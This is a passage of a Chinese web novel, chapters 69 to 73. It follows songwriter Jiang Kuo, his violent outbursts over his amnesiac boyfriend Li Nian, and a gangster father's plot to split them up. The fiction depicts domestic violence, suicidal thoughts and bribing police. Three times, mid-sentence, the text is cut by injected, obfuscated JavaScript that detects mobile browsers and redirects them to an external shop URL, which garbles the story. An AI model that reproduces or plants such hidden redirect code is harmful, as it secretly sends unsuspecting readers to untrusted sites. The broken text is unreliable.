想扔下这瓶罪恶香水的心苦苦挣扎,直到下一个站人群涌上来,黎念才把古龙香水收回。 他只觉得自己要疯了。 一个是给他花钱治病的陌生男朋友,一个是会调酒吻技一流的理想型。 算了,不选了。沉沦吧失忆的少年。 江扩做完一桌饭菜,站到窗边点了根烟,拨通江收的电话。 江收刚从老巢出来,拿起手机接听。 “喂?”江收语气带着心虚。 “江收,能不能借我点钱?”江扩叹气,“我给黎念看病的钱不够了,等他好了,我回去写词赚回来还你。” 江收愣了几秒,脑里盘旋的是刚刚大哥荣计划拆散两人的场景。 “哥,实在不行的话,你们俩就算了吧,”江收支支吾吾说,“我是看你也实在太累了。” “你什么意思?”江扩怒火中烧,“要我放弃?” “不是,我是说,没必要花这么多钱,他自己会好起来的。”江收抬头点了根烟。已经好久没抽了,竟然有些头晕。 “不借直说,不用找理由,也没必要让我放弃他,我做不到。”江扩语气冷冽。 “我借,我怎么不借。”江收急了,“你说个数。” “五十个W。”江扩扶额,唇色有些难看。 “我打过去。”江收说。 “写欠条。”江扩说。 “写啥欠条,都是一家人。”江收干笑。 “我刚没别的意思哥,我就是怕你再继续下去,伤害会很深。”江收偷偷看了江广荣亮着的房子。 “我不怕伤害,我只要他好。”江扩毅然挂了电话。 黎念在电梯对着镜子检查颈部和其他地方,除了头发有点乱,其他的没什么破绽。 特意不让Alex对脖子种草莓的。 开了门,一股扑鼻的牛腩香味席面而来,与他身上的廉价香水味猛烈冲撞。 “回来了?”江扩收回手机,脸色还有点难看,“吃饭吧。” 大福冲黎念嘤嘤叫了几声,黎念没有理会,垂着头坐在窄小的饭桌旁。 “去哪了?”江扩问。 一句简单的问候对黎念来说就是质问,黎念吓得筷子掉地上。 “打桌球。”黎念稍作镇定,捡起筷子回答道。 刚刚Alex教他几种犯罪心理学中的撒谎技术,现在终于派上用场了。 “哦,”江扩端来最后一道清汤牛腩,“试试,你不是喜欢牛腩吗?” “是。”黎念抽了张纸巾擦筷子。 “扔了,”江扩皱眉,“脏了就洗,还留着干嘛?” 黎念就讨厌江扩命令人的语气和控制的劲儿。洁癖。 “就不扔,浪费。”黎念专登用擦完的筷子夹了一块牛腩放进嘴里。 江扩从进门起便闻到淡淡的香水味。 这香水味很熟悉,跟那天黎念颈部出现陌生吻痕时的古龙香水味道分毫不差。 “你身上的香水味。”江扩凝视黎念垂着的睫毛。 “怎么了?”黎念挑眉。 “很难闻。”江扩没有揭穿。 “总好闻过你身上的臭油烟味。”黎念毫不留情的挖苦,完全没考虑嘴里香气四溢的食物从何来。 江扩抛下筷子,心凉了半截。 ‘ 70. 第 70 章 黎念一通阴阳怪气罢,像个没事人一样端起碗。夹肉,吃饭。 “知道这些饭菜怎么来的吗?”江扩干脆扔下筷子,双手交叉抱胸冷眼盯着黎念。 黎念认真思考一桌饭菜的来处,才发现是自己理亏。于是干脆不说话,继续扒拉碗里的牛腩。 江扩一直在等黎念开口,哪怕敷衍道个歉也行。但黎念就是跟哑了似的,一句话都没有。 “说话。”江扩声音嘶哑。 “反,反正又不,不好吃。”黎念硬着头皮挡了一句。 江扩一脚狠狠往地面一跺,气出满眼血丝。 “老子真是瞎了眼,照顾你这么个白眼狼,”江扩啐了啐,接着两只手腕抓住木桌边缘,狂笑道,“不好吃是吧,那就草特么jb的别吃了!” 屋里充斥着江扩失智的暴力,黎念还没来得及躲,整个桌面朝他精彩地咻过来。 下一秒,黎念被桌面砸得翻倒在地,身上被各种汤汤汁汁肉肉菜菜沾满,地上全是一团一团的饭粒和锅碗瓢盆的碎片。 黎念:“啊啊啊啊啊啊!” 他的靓衫!他的靓裤! 一片狼藉中,黎念趁江扩对着地上一瓶古龙香水发愣的间隙,手脚并用爬到手机旁边,颤抖着手给手机里任意一人打电话。 不直接打999的原因,大概是因为黎念还有些许内疚,怕江扩被抓去坐监。 “你想打给谁?”江扩捡起古龙香水,瞄准窗户的空隙朝窗外抛去。 死火,又是一次高空抛物。 黎念一刻也等不下去了,电话通后不到一秒便朝那边失声痛哭外加大声呼救。 接着,江扩抢过手机,又是狂笑着朝窗外再演绎一次精彩的高空抛物。 这会楼下如果有人经过,估计至少得死俩了。 “老子给你花这么多钱治疗,是让你去外面鬼混的吗?”江扩抓住黎念的肩膀,面目狰狞,“再有下次,扔下去的不是手机不是香水,是你这个冚家铲!” 黎念双腿直哆嗦,幸运的是在江扩眼里暂时还没看到杀气。 这个人是变态吧... 半刻江扩压下怒火,一屁股坐到沙发点了根白万宝路。 黎念为了示弱,也想坐到江扩身边抽烟。 “滚。”江扩闷声说道。 “去...去哪?”黎念弱弱问道。 “把东西收拾干净,”江扩叹了口气,“你手机也不知道还能不能用。” “凭什么我收。”黎念刚想顶嘴,让江扩瞪回去了。 “你更应该想想下面有没有砸死人,差人会不会找上门来。”黎念讪讪地说,俯下身把碎片垃圾踢到一块。 江扩很快冷静下来,黎念也不知道从几时开始捡起好看点的碎片玩。 总觉得两个人都要疯了。玻璃碎片的反光倒映着看似悠闲的场面,却好像两人随时都会崩溃。 江扩越想越后怕,唰声从沙发站起来。 “我下去看看。”江扩拿起桌上钥匙,走出门顺便把门给反锁了。 “你大爷的。”黎念对着门小声骂道。 江扩乘电梯下楼出了电梯口,正好跟浑身大汗的江收撞了个正着。 “哥!”江收惊呼。 “你怎么来了?”江扩有气无力地问。 “楼下没人,我猜这是黎念的手机,”江收从包里掏出碎成渣的手机碎片,以及塑料袋里潮湿又散着刺鼻芬芳的碎玻璃片,“还好没人经过,不然来的不是我,是差人了。” “谢谢。”江扩接过手机,拔出里面幸存的手机卡和内存卡,又把碎片通通扔进电梯中间的垃圾桶。 江收望着江扩的背影,江扩转过身那一刹那,脸上憔悴的黑眼圈和苍白的嘴唇吓了江收一大跳。 “你确定不用去趟医院?”江收问。 “去什么医院,”江扩皱眉,“他才需要去医院。” “黎念呢?”江收叹了口气。 “楼上。”江扩按了电梯,冷笑道。 江收想起手机里那声惨叫。 “死了没?”江收冒冷汗。 “不知道。”江扩不耐烦地回答道,“估计差不多了。” 电梯正好开门,江收尖叫一声就往电梯里冲,按了数字键。 “这会估计死了。”江扩跟在江收背后,用冷嗖嗖的语气道。 江收一个激灵,感觉后背阴风阵阵,直冒冷汗。 这会她哥比鬼还恐怖。 她哥身上也流着大哥荣的黑色基因,不会血脉觉醒开始大开杀戒,杀得兴起连他妹也顺便噶了吧? “会坐牢的,哥。”江收说。 “这句话应该去跟你爸说。”江扩冷冷回答道。 江收沉默了。 电梯门一开,江收撒腿就往江扩门口冲。门锁没开,江收趁江扩在后面越追越近,撞开了门。 黎念正蹲在地上收拾饭菜残渣,一边找地上看起来干净的牛腩肉块,放在鼻前闻了闻便往嘴里塞。 见江收站在门口,黎念愣住了几秒,牛腩叼在嘴里还没入口。 江扩也赶来,目睹乞丐捡垃圾吃这一幕波澜不惊无动于衷。 “你们都穷成这样了吗?”江收脸色变了又变。 “不是。”黎念偏过头清了清嗓子。 “他在清理,垃圾。”江扩说了这话感觉自己都不信。 “那他,”江收小心翼翼道,“吃?” “也是清理的一部分。”江扩扶额。 江收不想再唠嗑,正了正脸色。 “刚刚你打电话给我,”江收说,“那声尖叫怎么回事?” “他什么时候打电话?”江扩关上门,皱了皱眉。 “刚刚,你俩是不是吵架了?”江收说,“我以为你要杀了他。” “我不杀人。”江扩回答。 “那就好,”江收松了口气,“我以为你血脉觉醒了呢。” 江扩突然脸色铁青瞪着江收。 “你再说一遍?什么血脉觉醒?”江扩眯着眼质问,“谁的血脉?你怎么不看看自己有没有血脉觉醒?” 江收倏地闭了嘴。 “去他妈的血脉觉醒,”江扩往嘴里叼了根烟,骂骂咧咧走到窗边,“老子才不相信什么血脉,老子没有这种人的血脉。” 江收默默蹲下,帮黎念收拾剩下的残渣。 “那你刚叫什么叫?”江收问黎念。 “呃,”黎念顿了顿,“就是个小矛盾。” “呸,”江收说,“小矛盾能弄成这样?” “我自己洒的。”黎念小声嘀咕。 黎念捡到一块牛腩,正想一口衔住,江收抬起手猛地一拍。 “都他妈掉地上了你还吃。”江收斥道。 黎念板着脸背对着江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722050|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收继续收拾。 江收根本无心收食物残渣,心里一直在想血脉的问题。 如果可以,她也宁愿没有大哥荣的基因。如果没有她爸,或许现在她还能藏起那段不堪的历史,继续好好当个律师。 “哥。”江收突然抬头喊了一声。 “什么事?”江扩掐了烟,脸黑黑。 “要不,”江收说,“咱俩合作。” 江扩脸更黑了。 “要我跟大哥荣合作?”江扩啐了一口,“呸,这辈子休想。” 黎念又搁地上偷偷捡起一块牛腩含进嘴里。 “我说哥,不是你耳聋啊?”江收无奈道,“我叫你跟我合作,你跟我爸合作干嘛?” “怎么个合作法?”江扩歪头咧嘴一笑。 “送他进监狱。”江收做了个深呼吸,才鼓起勇气把这句话吐出来。 黎念嚼着牛肉的嘴瞬间停了。 “你认真的?”江扩紧紧凝视江收说。 江收想起自己身上背着案子,如果大哥荣入狱,好像她也得跟着一起遭殃。比起实诚,她更爱自由。 大哥荣的手下听见江收的发言,冷不丁倒吸一口气。江广荣在旁边吓了一跳,反手就给助手一巴掌。 “再说吧。”江收垂着头没敢看她哥。 收拾完东西,江收寻思着要不要把江广荣安插卧底调拨江黎二人关系的事情告诉江扩。然而隔墙有耳。 江扩站在窗边,点燃烟盒里的最后一根烟,索性搬来小凳子坐下。 黎念收拾完地上东西,又慢腾腾从厨房拿来一块破抹布蘸洗洁精擦地。 明明刚地上都是一块一块的牛腩,被黎念收拾到碗里却所剩无几。估计是黎念这活宝边收边吃的。 黎念之前好端端的也从不捡垃圾吃,怎么这会感觉被江扩养成傻子了呢? “哥,我有话跟你说。”江收说。 ; “大哥!江小姐好像要告密!”一位手下听完窃听器,转身便对江广荣说。 “我听听。”江广荣勾了勾指头。 江收拉过来江扩,朝黎念那边看了看,确定黎念没有偷听才往江扩耳边凑过去。 江收知道自己身上戴着监听器,那一头连着江广荣的收听设备。 江广荣黑着脸拿起手机,给江收打了无数电话。江收没接。 “他怎么傻傻的...他还没想起来吗?”江收问。 江扩抿了抿干燥的嘴唇,半晌不确定地嗫嚅:“偶尔想起。” 江广荣听得认真,川字眉微皱。 “要不还是算了吧,”江收说,“我看你被他拖累够了,算了吧。” 江扩又是面色铁青往后退了一步。 感觉最近自己的情绪波动太大了,简直跟过山车一样。 “我说真的,哥,你去照照镜子看看自己成了什么样。”江收朝卫生间的镜子抬了抬下巴,顺手把兜里振动的手机关机了。 “我不管我变成什么样,只要他能好起来,”江扩叹了口气,“一切都值得。” “你会受伤的,”江收心里像张纸团猛地揉成一团,“绝对。” 江广荣淡定抽着雪茄,继续听监听器传来的话。老实说,对于江收这种表现,他很满意。 “我说了我不管,我只要他好起来。”江扩坚定的一字一句石头般重重砸在江收和江广荣心里。 71. 第 71 章 江扩送江收到楼下的时候,黎念爬到沙发休息没多久,刚好收到Whatsapp上面Alex的讯息。 ——ALex:来酒吧,我有个好东西给你看。 黎念嗤了一声。 ——花花公子:别搞什么把戏想占我便宜 ——ALex:关于我喜欢的词人,难道你也没兴趣吗? 黎念放下手机愣了愣。 ——ALex:老地方,bar台见。 黎念攥紧手机,趁屋内只有一狗,开了门撒腿就往外跑。门又忘记关。 为了避开江扩,黎念选择黑漆漆的楼道一股脑冲下去,一秒都没停。 “taxi!taxi!” 江扩送完江收,一路上听完江收语重心长给他讲离开黎念的好处。虽然一句都没听进去,但目送江收走远后还是整个人瞬间跟即将瘫痪似的难受无力。 好不容易乘电梯上了楼,江扩正想回那间破出租屋安慰安慰黎念,顺便带他上商场买身新衣服。 结果远远江扩便看见那扇吱呀作响半掩的家门,心凉了一半。 撞开门进去,天塌了。 患者又莫名其妙离家出走,只剩笼里的狗在恶狠狠龇牙。 “冚家铲!”江扩猛地一捶门框,大福又吓了一跳,缩在笼里不动了。 黎念坐了十几分钟计程车,终于到熟悉的bar。 果然还是这种地方能激起他的兴趣。在家锁着跟行尸走肉般,还不如死了呢。 Alex老早就在门口等着黎念,胳肢窝揣着一卷娱乐日报。 “哟,改卖报纸了?”黎念调侃一句。 “我这报纸可不是普通的报纸。”Alex假装神秘,“是能让某人的生活翻天覆地的报纸。” 黎念讨厌卖关子的男人,脸色变得不太好看。 “进去说。”Alex绅士地给黎念拉开玻璃门。 黎念早就想进去这个花花绿绿的世界放松放松,也不拒绝,直接跟Alex后头进了gaybar。 不难看见最后面那个座儿的几个男人都是Alex的朋友,一个个看Alex的目光都带着羡慕嫉妒。 “哎哟,这么靓的弟弟。”其中一个戏谑道。 黎念恶狠狠回瞪一眼。 “人家单纯呢,别乱开玩笑。”Alex顺手揽住黎念的肩膀。 黎念皱了皱眉头,没有动。 gay吧长座位的对面有一台电视,正播放TVB剧。 “看不看电视?”Alex问。 “哦,看。”黎念愣愣地回答。 人太多,黎念有些惴惴不安。ALex见状把黎念搂在身边,递给他一张报纸。 “感觉不舒服的话,就看看报纸。” Alex把报纸的第一张塞给黎念。 他断定黎念会看。毕竟好歹当过作家,就算失忆了也会无意的对文字感兴趣。 如他所料,黎念面无表情环顾四周的人,便低头研究报纸的第一段。 这时Alex把TVB剧调到娱乐新闻。 黎念叹了口气。这是娱乐新闻报纸,老实说他不太感兴趣。 但报纸是ALex塞给他的,不看又显得不太好意思。 然而翻到另一面,报纸上的头条大字让黎念瞳孔一震。 “著名填词人江扩疑似利用填词洗嘿钱!” 小字:“填词人江扩被爆料疑利用填词洗嘿钱”【伪造银行流水图片】“显示江扩账户收取江父旗下空壳公司汇款!” 黎念猛地攥紧报纸,牢牢按在大腿上,几乎皱成一团。 这时电视上的娱乐新闻节目主持人又对着屏幕阴阳怪气道:“哈,估唔到原来江先生嘅《锈窗》真系用嘿钱铸成嘅!” “想不到,想不到。”ALex假装无心瞥了黎念一眼,痛心疾首,“没想到我喜欢这么久的词人,原来这么污糟。” 黎念脸色铁青,从沙发猛然蹦起。 将四周所有人狠狠瞪了一眼,包括Alex在内。但瞪到最后发现不知道拿谁撒气。 他本就不喜欢江扩,但江扩对他照顾得无微不至,黎念也找不到理由离开。但现在江扩被爆黑料,被揭穿父亲黑老大身份。 他还有理由留着吗? “坐下吧。”Alex扶住黎念肩膀缓缓坐下。 黎念坐下了,心口闷着还在喘着气。 “江扩是我男朋友,”黎念哽咽,“他说他是我男朋友。” “咩啊?”Alex怔了怔,压低声音在黎念耳旁问,“你说词人江扩是你男朋友?” “嗯。”黎念捂住脸。 Alex松开放在黎念腰上的手,整个人靠到沙发靠背上发愣。 他的任务是把黎念从江扩身边弄走,拆散二人。但他也不是没人性。 “那你打算怎么办?”Alex问。 “你让我来,就是为了告诉我这些事?”黎念讪讪地问道。 “不,不是,”Alex说,“我就是想问你,想不想跟我拍拖。没想到会撞上这新闻。” “我可不清楚江扩是你男朋友,你说了我才知道的。”Alex又补充说。 听大哥荣说黎念这人现如今脑子不清醒,精神也不太正常。估计讲外星人入侵地球黎念都能傻乎乎地信。 “好,好啊。”黎念吭哧吭哧笑了起来,一看就不太清醒。 而且这笑声似乎还带着点暴力倾向,总之莫名其妙,低沉骇人。 “什么好?”Alex往远处挪了点。 “不是要拍拖吗?”黎念转头望着Alex,满脸怨气,“我现在跟你在一起,现在。现在,我就要跳舞,现在!” 得手了。 Alex抬起一只手,笑意盈盈跟黎念对视。 “请我喝杯血腥玛丽。”黎念一手搭在Alex肩膀上,垂着头笑道。 “叫哥哥。”Alex双眼笑成俩缝。 “哥哥。”黎念不羞不燥地喊了一声,靠得更近了。 Alex得意地朝吧台挥挥手,“喂,阿占,调杯血腥玛丽!一杯僵尸多加柠檬片!” “收到。”新调酒师应道。 “会跳舞吗?我教你跳舞。”Alex咬着黎念的耳朵说。 黎念像听了天大的笑话,不屑地哼了一声。 “哟。”Alex调侃道。 下一秒黎念挣脱Alex的怀抱,站到舞池中央跳了一段不知在哪里的酒吧学的辣舞,妖娆的舞姿几乎让周围基们的欲望都能顶穿天花板了。 周围闹腾的起哄声一片接着一片。 黎念很享受这种被围着的感觉,有点...熟悉,但想不起来在哪里经历过。 现在的他在bar里玩得如鱼得水,丝毫没有一分愧疚。因为照顾他的那个人,如今人设已经崩塌了。 据说那个男人曾经在歌里为黎念许下的爱情誓言,也只不过是为他父亲大名鼎鼎大哥荣的洗钱证据 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722051|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 江扩是个烂人,垃圾。 黎念闭着眼睛,在舞池里肆意投怀送抱。 “bloody Mary!僵尸加柠檬片完工!”调酒师阿占吹了声口哨。 “喝酒去!”Alex红光满面搂住黎念。 今晚过后又能从大哥荣那拿点几万港蚊的小费了,谁不happy呢。 江扩匆匆赶到时,掀开帘子映入眼帘的是起哄的gay群和正准备和别的男人拿鸡尾酒双手交叉喝交杯酒的爱人。 江扩在门口双脚发软的同时,胃里也刺激得一阵翻江倒海。 一口血腥玛丽闷下肚,黎念回头才看到倚在玻璃上满脸不可置信的江扩,以及双眼布满了恐怖的红血丝。 但黎念已经无所谓了。 “天啊!”江扩对天花板嘶声力竭惨叫一声,整个gay吧都静了。 黎念没反应过来,江扩已经从惨叫的案发地闯进来,一脚踹到ALex肚子上。待Alex飞出几米远,又伸手将黎念手上的空酒杯打掉。 空酒杯在空中划出一道完美的弧线,跟地面接触的瞬间成为碎片。 这声清脆的响声惊醒了gay吧其他人,几声尖叫后整个bar乱成一锅粥。 Alex躺在地上忍住吐白沫的冲动,拍了拍衬衫上的灰慢悠悠站了起来。 “大家快看啊,”Alex啐了一口血沫,“那个洗嘿钱的词人就是他!” “他身上有gun!”Alex揪住黎念的衣领强行拖过来,“亲爱的,小心他!” 听见“亲~爱~的~”这三个字,江扩像是被无数条钢针直直捅进心里,疼得想蹲下去抱头尖叫。 “你,给我,过来!”江扩瞪着黎念,一字一顿命令道。 黎念往后缩了一步。 “过来!谁让你喝酒的?跟我回家。”江扩尽力忍住怒火,不让黎念受刺激。 “我最讨厌你这样。”黎念垂着头,嗫嚅道。 “你说什么?”江扩愣了愣。 “我说, ”黎念鼓起勇气,“我最讨厌你这样,天天控制我,不让喝可乐不让喝酒不让我出门不让我做这做那,你是变态吗?我是你的奴隶吗?” “你再给老子说一遍!”江扩牙缝里挤出来的声音低得骇人,颈侧青筋突突直跳。 “说就说!”黎念推开Alex,攥紧拳头用全力捶向台面,“你以为你多高大上?填词人,不过是披着文艺的皮帮你父亲做那些破事!你越来干涉我的生活,我就越恶心!你滚!我讨厌你!” “什么破事?”江扩满脑子空白。 “滚!”黎念嘶吼道。 江扩本就在精神崩溃边缘,更何况这时Alex又专登凑上来,凑到黎念脸上嘬了一口。 江扩只感觉从脊椎凉到头顶,头皮都炸了。这会残留的理智被黎念的背叛吃干抹净。 也不管眼前的是什么,抓起就砸,抓起就砸,似乎砸点东西能让他痛快点。就这样砸下去,揪到一个人就挥拳头,不管人是谁,只要能泄愤,只要能泄愤。 大多人都涌向酒吧门口,片刻整个gay吧舞池几乎成了一片废墟。 当江扩筋疲力尽瘫倒在地喘粗气,眼前被泪水朦胧模糊视线时,外面差人的几辆警车刚好齐刷刷停在门口。 谁call了999江扩已经不在意了。 满脑只有黎念的控诉和背叛。 他说:“我讨厌你。” 他居然讨厌我。 72. 第 72 章 江扩坐上警车时,双眼无神望着窗外的霓虹灯,脑袋一片空白。 直到坐在警署审讯桌,被一个差人敲桌子的声音惊醒才回过神来。 “说吧,刚刚发生什么事了。”警察问。 “不知道。”江扩的头开始一阵一阵疼起来。 “蓄意伤人,毁坏公共财物,”另一个提高音量,“不如实说,你起码监禁十个月。” 黎念还在治疗,他坐监就完了。不仅照顾不了黎念,可能留了案底以后回大陆就难了。 总之现在没有江收不行。江收,江收。 “我要打电话。”江扩捂着额头声音沙哑说。 “叫你的律师吗?叫也没用,你以为还在回归前咩?警署想来就来想走就走?黑she会横行吗?现在法治社会!” 江扩不吭声。 “让他打吧。”一位差人叹了口气。 拿来电话的时候,江扩接过来毫不犹豫拨了江收的号码。电话接通当时,正好倒在桌子的一侧,额头撞在桌上没了意识。 “喂!” 晚上黎念不敢回家,怕姓江的来寻仇。Alex只好收拾东西带黎念开了个酒店。 “我觉得挺对不起他的。”黎念对着窗外的霓虹灯说。 “你一点都没有对不起他。”Alex说。 “为什么?”黎念莫名有些恼火。 “他趁你失忆占你便宜,还控制你,虽然说他也帮你做了好多,”Alex说,“但是这又不是你求他做的,他自己愿意呗。而且你不是也失去自由了嘛。听我的,跟我在一起,你绝对不会失去自由,你能有双倍的快乐。” 黎念转头直勾勾盯着ALex,那一瞬间他动摇了。 “你到底是谁?”黎念说。 “我是谁不重要,重要是我出现了,我是来救你的,”Alex说。 “听我的,要想完全跟他没关系,你得跟着我走,激起他的恨意,越讨厌你越好。”Alex笑得双眼眯弯。 黎念又转回身对着窗口发愣。良久,终于开口了。 “怎么做?”黎念垂着眸问道。 “简单,你得先爱上我。”Alex一只手勾住黎念的颈部,勾起嘴角戏谑地说。 黎念的耳廓猝然间红了。 江扩醒过来的时候,已经在病床上,旁边坐着吃烧鹅盒饭时不时扶一下眼睛的江收。 “不给我留点?”江扩肚子叫了几声。 “哥,醒了?你发烧了,倒在警署里,”江收拿起旁边椅子的饭盒,“这份留给你的,趁热吃。还是要我喂你?” “滚。”江扩闷声爬起来,“警察呢?” “走了。”江收淡定回答,“花了点港蚊,当作精神汉发病处理了,社区的工作人员马上到。” 江扩:“......?” 江收:“。” “我什么时候成精神病了?”江扩气笑了。 “照你这样子,”江收说,“也快了。” “那待会怎么解释?”江扩一脸愁容。 “禁足一个月,这个月都不能出门,”江收说,“我知道你担心黎念,我跟他姐会照顾好他的。” “他在哪?”江扩听见黎念的名字,终于抬起头。 江收抿了抿嘴,不好意思告诉江扩sorry没找到人。 “他在一个安全的地方。”江收摸了摸鼻子。 “哦。”江扩往嘴里扒了一口饭。 “你想想,其实你也是赚到了,精神病患发病处理至少比监禁好,你说对吧。” “可我不是精神病。”江扩看了江收一眼。 “重点不在你是不是精神病,重点在你不用拘留,不用监禁,既然能花钱办好的事,还受那点苦干什么?” 江扩嚼饭的嘴停住了,冷笑一声。 “你当初学法律就学这?”江扩拿纸巾擦了嘴角的酱汁痕迹。 “不学这个,但是后来我学到这个,”江收指了指自己鼓起的钱包,“我发现这个有用多了。再说,这还不是为了你。” 江扩不想再费口舌,继续吃饭。 这叉烧饭有点冷了,肉吃起来冷冰冰硬邦邦的。 一个钟过后,病房门口来了几位估计是社区的工作人员。 “现在给你做些检查,家属回避。”工作人员说。 “哦。”江扩说。 拿医用屏风挡住病床后,医护人员掀开江扩上衣,做了心电图。 “窦性心率过速。”医生打印出结果后说,“平时有经常喝酒喝咖啡吗?” “没。”江扩整了整衣衫。 抽完几管血带去检查后,几个社区的工作人员和一名精神科医生在江扩旁边坐下。 “这是玛丽医院精神科医生,今天刚好不出诊,带他过来看一下,”一名工作人员拿出电脑,“由他问你几个问题。” “哦。”江扩没什么兴趣,干脆整个人躺在病床,眼神飘忽不知望向哪处。 “最近睡得着吗?容易醒吗?”医生问。 “难睡着,四五点就醒了。”江扩思考片刻回答。 “吃得下吗?”医生问。 “好吃的吃得下,难吃的吃不下。”江扩如实回答。 医生噗嗤一声笑了。江扩有些恼火。 “很好笑吗?我觉得都难吃。”江扩说。 “这个好吃吗?”医生指了指旁边吃剩一半的饭盒。 “不好吃。”江扩不耐烦道。 “那为什么你还吃?”医生说。 江扩抿了抿嘴,拒绝回答这个脑子有泡的。 “我们接下一个问题,”医生收回笑容,“上次在酒吧为什么打人?” “因为我不爽。”江扩说,“因为我最爱的人失忆了,治了这么久毫无长进,还背叛我,还胳膊肘往外拐,我记得他为了帮那个冚家铲踹了我一脚,就一脚!我就觉得我天塌了!你知道吗?你知道吗?!” 江扩声嘶力竭之时,医生搬起椅子往后挪了挪。 “我甚至想死你知道吗?天天都想,特别是他跑出去gay吧鬼混,脑子本来就有问题了还喝酒,还通宵的时候,我最想死了!”江扩狂笑,“但我不能死,我死了他怎么办?我死了他怎么办!” 医生似乎听到重点,飞速记笔记。 “想死多久了?有没有什么关于死亡的计划?”医生问。 “我不告诉你。”江扩手臂挡住双眼,嘴上一抹戏谑的惨笑。 他不能死,他死了黎念怎么办? 他如果死了,黎念也就再也回不来了。也许他会每天醉生梦死,在酒精中和堕落中走向死亡。 也许他活着,还有机会改变。 医生走后,江收重新坐回江扩身边。 “医生说现在这个情况,最好住一个月的院,”江收说,“有点抑郁症状但不严重,警署那边会审核你的诊断。” 江扩低头笑了几声,他这辈子都没想到自己会和抑郁扯上关系。 “不行,我要出院...”江扩一咬牙从病床上爬起来。 “黎念有的是人照顾,他也早是个成年人了,”江收说,“都奔三了。” “你看他现在像个成年人吗?像个叛逆期还没过的傻子。”江扩说罢便要跳下床。 “给我躺回去!”江收喝道,“你就像个成年人了?” 江扩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722052|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞪了江收一眼,慢腾腾爬回病床。 “你看你像什么样子?胡子不刮,黑眼圈跟个国宝一样,体重现在还在降,你是要去照顾一个记忆不一定会恢复的傻子,还是先照顾好自己的身体?”江收不知从哪顺来一本厚厚的香港法例朝江扩额头重重砸了几下,嘴里一边喋喋不休。 “你敢打你哥!”江扩抬起一只手挡住香港法例,气得浑身发抖。 “我敢,”江收咬牙切齿道。 人都噶过,打哥算什么。 打哥完毕后,江扩失去所有力气和手段,望着窗外忽然开始默默掉眼泪。 他这一辈子可太惨了。 “哥,你老实告诉我,真的有想死过吗?”江收小心翼翼问。 “嗯,”江扩擦干眼泪,“黎念踹我一脚的时候,我确实想了这辈子就算了,还不如跑出酒吧冲大街上看能幸运一点被什么大货车创死。但是现在想,我不能死。” “为什么?”江收讷讷问。 “我死了,就没机会让他回来了。”江扩又开始垂着头掉眼泪,“如果说我真死了,之后黎念又恢复记忆了,要是知道我死了他得多难过。” 江收顺起旁边的纸巾盒,扔到江扩被褥上。 “对,你不可以死。”江收说。 江扩看了一眼江收,抽了张纸风驰电掣擦干脸上的泪痕,就好像它们从未出现过。 “黎念呢?”江扩转过头问。 “他在安全的地方,不是有他姐吗?”江收说,“又不是只有你一人会照顾他。” “但只有我能照顾的好。”江扩闷闷地道。 “休息吧。”江收给她哥整好被子,揣着手机出去。 在医院门口的橙色垃圾桶抽烟区抽了根烟,江收拿出手机果断拨了黎念的手机号码。 “喂。”黎念慵懒的声音传来,嘴里还含着跟牙刷。 “他在医院,你最好来看他一下。”江收忍住骂街的冲动,冷静对黎念说。 “没空。”黎念心颤了一下就准备挂断。 “来看一眼吧,他绝食了,快死了。”江收只好把形势描述得严重了一点点。 黎念挂了电话,对镜子愣了很久。 此刻他还在Alex开的酒店房间,ALex穿着白底裤坐在窗边抽烟。 “我要去医院看一下江扩。”黎念说。 “那我也去。”Alex说。 “你去干嘛?挨打吗?”黎念嗤了一声。 “他是我喜欢的词人,我得鼓励一下他。”Alex掐灭烟头说。 下午黎念专门去了九龙的花墟街,打包一束看起来还算漂亮的混合花束。花了他三百多港蚊,这周估计得少喝点酒了。 “买这么漂亮,”Alex弹了弹向日葵的花瓣,掉了一片,“你是还爱他呢?” “不是,”黎念扇开ALex的手,“基本礼仪。” 下午黎念和Alex坐同一辆的士到医院。 江扩烧还没退,正输紧液。 进来两个人时,江收怔了好几秒。说好的黎念一个人来,这位怎么也来了? “我来看看江生,”ALex抢过来黎念手中的花篮,在空中晃了晃,“顺便告诉他一下,黎念现在由我照顾,你就放心走吧。” 说罢,Alex搂住黎念的颈部,在他左脸使劲儿嘬了一下。 黎念被这一猝不及防的吻吓得浑身僵硬,甚至莫名觉得有点恶心。 江收跟Alex四目对瞪之时,病床那边传来撕心裂肺的怒吼。 完犊子了。江收想。 没来得及反应,江扩拔下预留针的管子,面目狰狞赤着双脚朝Alex扑过来。 73. 第 73 章 整个病房安静下来后,里面又只剩下江扩和江收两人。 “我问你,你这毛病什么时候改?”江收坐在病床,双手捂额,“还是你真成神经病了?刚刚要不是我跟护士拦住你,估计你又得进警署。” 